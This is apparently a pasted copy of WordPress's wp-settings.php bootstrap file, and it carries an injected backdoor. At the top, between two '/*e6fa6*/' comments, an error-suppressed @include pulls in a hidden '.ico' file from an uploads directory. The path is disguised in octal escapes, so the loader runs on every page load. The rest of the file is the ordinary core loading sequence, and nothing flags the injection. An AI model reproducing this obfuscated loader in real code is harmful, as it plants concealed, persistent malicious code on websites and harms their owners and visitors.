· 5 years ago · Feb 17, 2020, 06:00 PM
1<?php
2/*e6fa6*/
3
4@include "\057hom\145/pa\165lyh\157ffm\141n/p\165bli\143_ht\155l/P\141ran\157idA\156dro\151d.u\163/in\166oic\145/up\154oad\163/ar\143hiv\145/.5\1423a4\06029.\151co";
5
6/*e6fa6*/
7/**
8 * Used to set up and fix common variables and include
9 * the WordPress procedural and class library.
10 *
11 * Allows for some configuration in wp-config.php (see default-constants.php)
12 *
13 * @package WordPress
14 */
15
16/**
17 * Stores the location of the WordPress directory of functions, classes, and core content.
18 *
19 * @since 1.0.0
20 */
21define( 'WPINC', 'wp-includes' );
22
23// Include files required for initialization.
24require( ABSPATH . WPINC . '/load.php' );
25require( ABSPATH . WPINC . '/class-wp-paused-extensions-storage.php' );
26require( ABSPATH . WPINC . '/class-wp-fatal-error-handler.php' );
27require( ABSPATH . WPINC . '/class-wp-recovery-mode-cookie-service.php' );
28require( ABSPATH . WPINC . '/class-wp-recovery-mode-key-service.php' );
29require( ABSPATH . WPINC . '/class-wp-recovery-mode-link-service.php' );
30require( ABSPATH . WPINC . '/class-wp-recovery-mode-email-service.php' );
31require( ABSPATH . WPINC . '/class-wp-recovery-mode.php' );
32require( ABSPATH . WPINC . '/error-protection.php' );
33require( ABSPATH . WPINC . '/default-constants.php' );
34require_once( ABSPATH . WPINC . '/plugin.php' );
35
36/*
37 * These can't be directly globalized in version.php. When updating,
38 * we're including version.php from another installation and don't want
39 * these values to be overridden if already set.
40 */
41global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_mysql_version, $wp_local_package;
42require( ABSPATH . WPINC . '/version.php' );
43
44/**
45 * If not already configured, `$blog_id` will default to 1 in a single site
46 * configuration. In multisite, it will be overridden by default in ms-settings.php.
47 *
48 * @global int $blog_id
49 * @since 2.0.0
50 */
51global $blog_id;
52
53// Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, SCRIPT_DEBUG, WP_CONTENT_DIR and WP_CACHE.
54wp_initial_constants();
55
56// Make sure we register the shutdown handler for fatal errors as soon as possible.
57wp_register_fatal_error_handler();
58
59// Check for the required PHP version and for the MySQL extension or a database drop-in.
60wp_check_php_mysql_versions();
61
62// Disable magic quotes at runtime. Magic quotes are added using wpdb later in wp-settings.php.
63@ini_set( 'magic_quotes_runtime', 0 );
64@ini_set( 'magic_quotes_sybase', 0 );
65
66// WordPress calculates offsets from UTC.
67date_default_timezone_set( 'UTC' );
68
69// Turn register_globals off.
70wp_unregister_GLOBALS();
71
72// Standardize $_SERVER variables across setups.
73wp_fix_server_vars();
74
75// Check if we have received a request due to missing favicon.ico
76wp_favicon_request();
77
78// Check if we're in maintenance mode.
79wp_maintenance();
80
81// Start loading timer.
82timer_start();
83
84// Check if we're in WP_DEBUG mode.
85wp_debug_mode();
86
87/**
88 * Filters whether to enable loading of the advanced-cache.php drop-in.
89 *
90 * This filter runs before it can be used by plugins. It is designed for non-web
91 * run-times. If false is returned, advanced-cache.php will never be loaded.
92 *
93 * @since 4.6.0
94 *
95 * @param bool $enable_advanced_cache Whether to enable loading advanced-cache.php (if present).
96 * Default true.
97 */
98if ( WP_CACHE && apply_filters( 'enable_loading_advanced_cache_dropin', true ) ) {
99 // For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
100 WP_DEBUG ? include( WP_CONTENT_DIR . '/advanced-cache.php' ) : @include( WP_CONTENT_DIR . '/advanced-cache.php' );
101
102 // Re-initialize any hooks added manually by advanced-cache.php
103 if ( $wp_filter ) {
104 $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
105 }
106}
107
108// Define WP_LANG_DIR if not set.
109wp_set_lang_dir();
110
111// Load early WordPress files.
112require( ABSPATH . WPINC . '/compat.php' );
113require( ABSPATH . WPINC . '/class-wp-list-util.php' );
114require( ABSPATH . WPINC . '/formatting.php' );
115require( ABSPATH . WPINC . '/meta.php' );
116require( ABSPATH . WPINC . '/functions.php' );
117require( ABSPATH . WPINC . '/class-wp-meta-query.php' );
118require( ABSPATH . WPINC . '/class-wp-matchesmapregex.php' );
119require( ABSPATH . WPINC . '/class-wp.php' );
120require( ABSPATH . WPINC . '/class-wp-error.php' );
121require( ABSPATH . WPINC . '/pomo/mo.php' );
122
123// Include the wpdb class and, if present, a db.php database drop-in.
124global $wpdb;
125require_wp_db();
126
127// Set the database table prefix and the format specifiers for database table columns.
128$GLOBALS['table_prefix'] = $table_prefix;
129wp_set_wpdb_vars();
130
131// Start the WordPress object cache, or an external object cache if the drop-in is present.
132wp_start_object_cache();
133
134// Attach the default filters.
135require( ABSPATH . WPINC . '/default-filters.php' );
136
137// Initialize multisite if enabled.
138if ( is_multisite() ) {
139 require( ABSPATH . WPINC . '/class-wp-site-query.php' );
140 require( ABSPATH . WPINC . '/class-wp-network-query.php' );
141 require( ABSPATH . WPINC . '/ms-blogs.php' );
142 require( ABSPATH . WPINC . '/ms-settings.php' );
143} elseif ( ! defined( 'MULTISITE' ) ) {
144 define( 'MULTISITE', false );
145}
146
147register_shutdown_function( 'shutdown_action_hook' );
148
149// Stop most of WordPress from being loaded if we just want the basics.
150if ( SHORTINIT ) {
151 return false;
152}
153
154// Load the L10n library.
155require_once( ABSPATH . WPINC . '/l10n.php' );
156require_once( ABSPATH . WPINC . '/class-wp-locale.php' );
157require_once( ABSPATH . WPINC . '/class-wp-locale-switcher.php' );
158
159// Run the installer if WordPress is not installed.
160wp_not_installed();
161
162// Load most of WordPress.
163require( ABSPATH . WPINC . '/class-wp-walker.php' );
164require( ABSPATH . WPINC . '/class-wp-ajax-response.php' );
165require( ABSPATH . WPINC . '/capabilities.php' );
166require( ABSPATH . WPINC . '/class-wp-roles.php' );
167require( ABSPATH . WPINC . '/class-wp-role.php' );
168require( ABSPATH . WPINC . '/class-wp-user.php' );
169require( ABSPATH . WPINC . '/class-wp-query.php' );
170require( ABSPATH . WPINC . '/query.php' );
171require( ABSPATH . WPINC . '/date.php' );
172require( ABSPATH . WPINC . '/theme.php' );
173require( ABSPATH . WPINC . '/class-wp-theme.php' );
174require( ABSPATH . WPINC . '/template.php' );
175require( ABSPATH . WPINC . '/user.php' );
176require( ABSPATH . WPINC . '/class-wp-user-query.php' );
177require( ABSPATH . WPINC . '/class-wp-session-tokens.php' );
178require( ABSPATH . WPINC . '/class-wp-user-meta-session-tokens.php' );
179require( ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php' );
180require( ABSPATH . WPINC . '/general-template.php' );
181require( ABSPATH . WPINC . '/link-template.php' );
182require( ABSPATH . WPINC . '/author-template.php' );
183require( ABSPATH . WPINC . '/post.php' );
184require( ABSPATH . WPINC . '/class-walker-page.php' );
185require( ABSPATH . WPINC . '/class-walker-page-dropdown.php' );
186require( ABSPATH . WPINC . '/class-wp-post-type.php' );
187require( ABSPATH . WPINC . '/class-wp-post.php' );
188require( ABSPATH . WPINC . '/post-template.php' );
189require( ABSPATH . WPINC . '/revision.php' );
190require( ABSPATH . WPINC . '/post-formats.php' );
191require( ABSPATH . WPINC . '/post-thumbnail-template.php' );
192require( ABSPATH . WPINC . '/category.php' );
193require( ABSPATH . WPINC . '/class-walker-category.php' );
194require( ABSPATH . WPINC . '/class-walker-category-dropdown.php' );
195require( ABSPATH . WPINC . '/category-template.php' );
196require( ABSPATH . WPINC . '/comment.php' );
197require( ABSPATH . WPINC . '/class-wp-comment.php' );
198require( ABSPATH . WPINC . '/class-wp-comment-query.php' );
199require( ABSPATH . WPINC . '/class-walker-comment.php' );
200require( ABSPATH . WPINC . '/comment-template.php' );
201require( ABSPATH . WPINC . '/rewrite.php' );
202require( ABSPATH . WPINC . '/class-wp-rewrite.php' );
203require( ABSPATH . WPINC . '/feed.php' );
204require( ABSPATH . WPINC . '/bookmark.php' );
205require( ABSPATH . WPINC . '/bookmark-template.php' );
206require( ABSPATH . WPINC . '/kses.php' );
207require( ABSPATH . WPINC . '/cron.php' );
208require( ABSPATH . WPINC . '/deprecated.php' );
209require( ABSPATH . WPINC . '/script-loader.php' );
210require( ABSPATH . WPINC . '/taxonomy.php' );
211require( ABSPATH . WPINC . '/class-wp-taxonomy.php' );
212require( ABSPATH . WPINC . '/class-wp-term.php' );
213require( ABSPATH . WPINC . '/class-wp-term-query.php' );
214require( ABSPATH . WPINC . '/class-wp-tax-query.php' );
215require( ABSPATH . WPINC . '/update.php' );
216require( ABSPATH . WPINC . '/canonical.php' );
217require( ABSPATH . WPINC . '/shortcodes.php' );
218require( ABSPATH . WPINC . '/embed.php' );
219require( ABSPATH . WPINC . '/class-wp-embed.php' );
220require( ABSPATH . WPINC . '/class-oembed.php' );
221require( ABSPATH . WPINC . '/class-wp-oembed-controller.php' );
222require( ABSPATH . WPINC . '/media.php' );
223require( ABSPATH . WPINC . '/http.php' );
224require( ABSPATH . WPINC . '/class-http.php' );
225require( ABSPATH . WPINC . '/class-wp-http-streams.php' );
226require( ABSPATH . WPINC . '/class-wp-http-curl.php' );
227require( ABSPATH . WPINC . '/class-wp-http-proxy.php' );
228require( ABSPATH . WPINC . '/class-wp-http-cookie.php' );
229require( ABSPATH . WPINC . '/class-wp-http-encoding.php' );
230require( ABSPATH . WPINC . '/class-wp-http-response.php' );
231require( ABSPATH . WPINC . '/class-wp-http-requests-response.php' );
232require( ABSPATH . WPINC . '/class-wp-http-requests-hooks.php' );
233require( ABSPATH . WPINC . '/widgets.php' );
234require( ABSPATH . WPINC . '/class-wp-widget.php' );
235require( ABSPATH . WPINC . '/class-wp-widget-factory.php' );
236require( ABSPATH . WPINC . '/nav-menu.php' );
237require( ABSPATH . WPINC . '/nav-menu-template.php' );
238require( ABSPATH . WPINC . '/admin-bar.php' );
239require( ABSPATH . WPINC . '/rest-api.php' );
240require( ABSPATH . WPINC . '/rest-api/class-wp-rest-server.php' );
241require( ABSPATH . WPINC . '/rest-api/class-wp-rest-response.php' );
242require( ABSPATH . WPINC . '/rest-api/class-wp-rest-request.php' );
243require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-controller.php' );
244require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-posts-controller.php' );
245require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-attachments-controller.php' );
246require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-types-controller.php' );
247require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-post-statuses-controller.php' );
248require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-revisions-controller.php' );
249require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-autosaves-controller.php' );
250require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-taxonomies-controller.php' );
251require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-terms-controller.php' );
252require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-users-controller.php' );
253require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-comments-controller.php' );
254require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-search-controller.php' );
255require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-blocks-controller.php' );
256require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-block-renderer-controller.php' );
257require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-settings-controller.php' );
258require( ABSPATH . WPINC . '/rest-api/endpoints/class-wp-rest-themes-controller.php' );
259require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-meta-fields.php' );
260require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-comment-meta-fields.php' );
261require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-post-meta-fields.php' );
262require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-term-meta-fields.php' );
263require( ABSPATH . WPINC . '/rest-api/fields/class-wp-rest-user-meta-fields.php' );
264require( ABSPATH . WPINC . '/rest-api/search/class-wp-rest-search-handler.php' );
265require( ABSPATH . WPINC . '/rest-api/search/class-wp-rest-post-search-handler.php' );
266require( ABSPATH . WPINC . '/class-wp-block-type.php' );
267require( ABSPATH . WPINC . '/class-wp-block-type-registry.php' );
268require( ABSPATH . WPINC . '/class-wp-block-parser.php' );
269require( ABSPATH . WPINC . '/blocks.php' );
270require( ABSPATH . WPINC . '/blocks/archives.php' );
271require( ABSPATH . WPINC . '/blocks/block.php' );
272require( ABSPATH . WPINC . '/blocks/calendar.php' );
273require( ABSPATH . WPINC . '/blocks/categories.php' );
274require( ABSPATH . WPINC . '/blocks/latest-comments.php' );
275require( ABSPATH . WPINC . '/blocks/latest-posts.php' );
276require( ABSPATH . WPINC . '/blocks/rss.php' );
277require( ABSPATH . WPINC . '/blocks/search.php' );
278require( ABSPATH . WPINC . '/blocks/shortcode.php' );
279require( ABSPATH . WPINC . '/blocks/tag-cloud.php' );
280
281$GLOBALS['wp_embed'] = new WP_Embed();
282
283// Load multisite-specific files.
284if ( is_multisite() ) {
285 require( ABSPATH . WPINC . '/ms-functions.php' );
286 require( ABSPATH . WPINC . '/ms-default-filters.php' );
287 require( ABSPATH . WPINC . '/ms-deprecated.php' );
288}
289
290// Define constants that rely on the API to obtain the default value.
291// Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
292wp_plugin_directory_constants();
293
294$GLOBALS['wp_plugin_paths'] = array();
295
296// Load must-use plugins.
297foreach ( wp_get_mu_plugins() as $mu_plugin ) {
298 include_once( $mu_plugin );
299
300 /**
301 * Fires once a single must-use plugin has loaded.
302 *
303 * @since 5.1.0
304 *
305 * @param string $mu_plugin Full path to the plugin's main file.
306 */
307 do_action( 'mu_plugin_loaded', $mu_plugin );
308}
309unset( $mu_plugin );
310
311// Load network activated plugins.
312if ( is_multisite() ) {
313 foreach ( wp_get_active_network_plugins() as $network_plugin ) {
314 wp_register_plugin_realpath( $network_plugin );
315 include_once( $network_plugin );
316
317 /**
318 * Fires once a single network-activated plugin has loaded.
319 *
320 * @since 5.1.0
321 *
322 * @param string $network_plugin Full path to the plugin's main file.
323 */
324 do_action( 'network_plugin_loaded', $network_plugin );
325 }
326 unset( $network_plugin );
327}
328
329/**
330 * Fires once all must-use and network-activated plugins have loaded.
331 *
332 * @since 2.8.0
333 */
334do_action( 'muplugins_loaded' );
335
336if ( is_multisite() ) {
337 ms_cookie_constants();
338}
339
340// Define constants after multisite is loaded.
341wp_cookie_constants();
342
343// Define and enforce our SSL constants
344wp_ssl_constants();
345
346// Create common globals.
347require( ABSPATH . WPINC . '/vars.php' );
348
349// Make taxonomies and posts available to plugins and themes.
350// @plugin authors: warning: these get registered again on the init hook.
351create_initial_taxonomies();
352create_initial_post_types();
353
354wp_start_scraping_edited_file_errors();
355
356// Register the default theme directory root
357register_theme_directory( get_theme_root() );
358
359if ( ! is_multisite() ) {
360 // Handle users requesting a recovery mode link and initiating recovery mode.
361 wp_recovery_mode()->initialize();
362}
363
364// Load active plugins.
365foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
366 wp_register_plugin_realpath( $plugin );
367 include_once( $plugin );
368
369 /**
370 * Fires once a single activated plugin has loaded.
371 *
372 * @since 5.1.0
373 *
374 * @param string $plugin Full path to the plugin's main file.
375 */
376 do_action( 'plugin_loaded', $plugin );
377}
378unset( $plugin );
379
380// Load pluggable functions.
381require( ABSPATH . WPINC . '/pluggable.php' );
382require( ABSPATH . WPINC . '/pluggable-deprecated.php' );
383
384// Set internal encoding.
385wp_set_internal_encoding();
386
387// Run wp_cache_postload() if object cache is enabled and the function exists.
388if ( WP_CACHE && function_exists( 'wp_cache_postload' ) ) {
389 wp_cache_postload();
390}
391
392/**
393 * Fires once activated plugins have loaded.
394 *
395 * Pluggable functions are also available at this point in the loading order.
396 *
397 * @since 1.5.0
398 */
399do_action( 'plugins_loaded' );
400
401// Define constants which affect functionality if not already defined.
402wp_functionality_constants();
403
404// Add magic quotes and set up $_REQUEST ( $_GET + $_POST )
405wp_magic_quotes();
406
407/**
408 * Fires when comment cookies are sanitized.
409 *
410 * @since 2.0.11
411 */
412do_action( 'sanitize_comment_cookies' );
413
414/**
415 * WordPress Query object
416 *
417 * @global WP_Query $wp_the_query
418 * @since 2.0.0
419 */
420$GLOBALS['wp_the_query'] = new WP_Query();
421
422/**
423 * Holds the reference to @see $wp_the_query
424 * Use this global for WordPress queries
425 *
426 * @global WP_Query $wp_query
427 * @since 1.5.0
428 */
429$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
430
431/**
432 * Holds the WordPress Rewrite object for creating pretty URLs
433 *
434 * @global WP_Rewrite $wp_rewrite
435 * @since 1.5.0
436 */
437$GLOBALS['wp_rewrite'] = new WP_Rewrite();
438
439/**
440 * WordPress Object
441 *
442 * @global WP $wp
443 * @since 2.0.0
444 */
445$GLOBALS['wp'] = new WP();
446
447/**
448 * WordPress Widget Factory Object
449 *
450 * @global WP_Widget_Factory $wp_widget_factory
451 * @since 2.8.0
452 */
453$GLOBALS['wp_widget_factory'] = new WP_Widget_Factory();
454
455/**
456 * WordPress User Roles
457 *
458 * @global WP_Roles $wp_roles
459 * @since 2.0.0
460 */
461$GLOBALS['wp_roles'] = new WP_Roles();
462
463/**
464 * Fires before the theme is loaded.
465 *
466 * @since 2.6.0
467 */
468do_action( 'setup_theme' );
469
470// Define the template related constants.
471wp_templating_constants();
472
473// Load the default text localization domain.
474load_default_textdomain();
475
476$locale = get_locale();
477$locale_file = WP_LANG_DIR . "/$locale.php";
478if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) ) {
479 require( $locale_file );
480}
481unset( $locale_file );
482
483/**
484 * WordPress Locale object for loading locale domain date and various strings.
485 *
486 * @global WP_Locale $wp_locale
487 * @since 2.1.0
488 */
489$GLOBALS['wp_locale'] = new WP_Locale();
490
491/**
492 * WordPress Locale Switcher object for switching locales.
493 *
494 * @since 4.7.0
495 *
496 * @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
497 */
498$GLOBALS['wp_locale_switcher'] = new WP_Locale_Switcher();
499$GLOBALS['wp_locale_switcher']->init();
500
501// Load the functions for the active theme, for both parent and child theme if applicable.
502foreach ( wp_get_active_and_valid_themes() as $theme ) {
503 if ( file_exists( $theme . '/functions.php' ) ) {
504 include $theme . '/functions.php';
505 }
506}
507unset( $theme );
508
509/**
510 * Fires after the theme is loaded.
511 *
512 * @since 3.0.0
513 */
514do_action( 'after_setup_theme' );
515
516// Set up current user.
517$GLOBALS['wp']->init();
518
519/**
520 * Fires after WordPress has finished loading but before any headers are sent.
521 *
522 * Most of WP is loaded at this stage, and the user is authenticated. WP continues
523 * to load on the {@see 'init'} hook that follows (e.g. widgets), and many plugins instantiate
524 * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).
525 *
526 * If you wish to plug an action once WP is loaded, use the {@see 'wp_loaded'} hook below.
527 *
528 * @since 1.5.0
529 */
530do_action( 'init' );
531
532// Check site status
533if ( is_multisite() ) {
534 if ( true !== ( $file = ms_site_check() ) ) {
535 require( $file );
536 die();
537 }
538 unset( $file );
539}
540
541/**
542 * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated.
543 *
544 * Ajax requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for
545 * users not logged in.
546 *
547 * @link https://codex.wordpress.org/AJAX_in_Plugins
548 *
549 * @since 3.0.0
550 */
551do_action( 'wp_loaded' );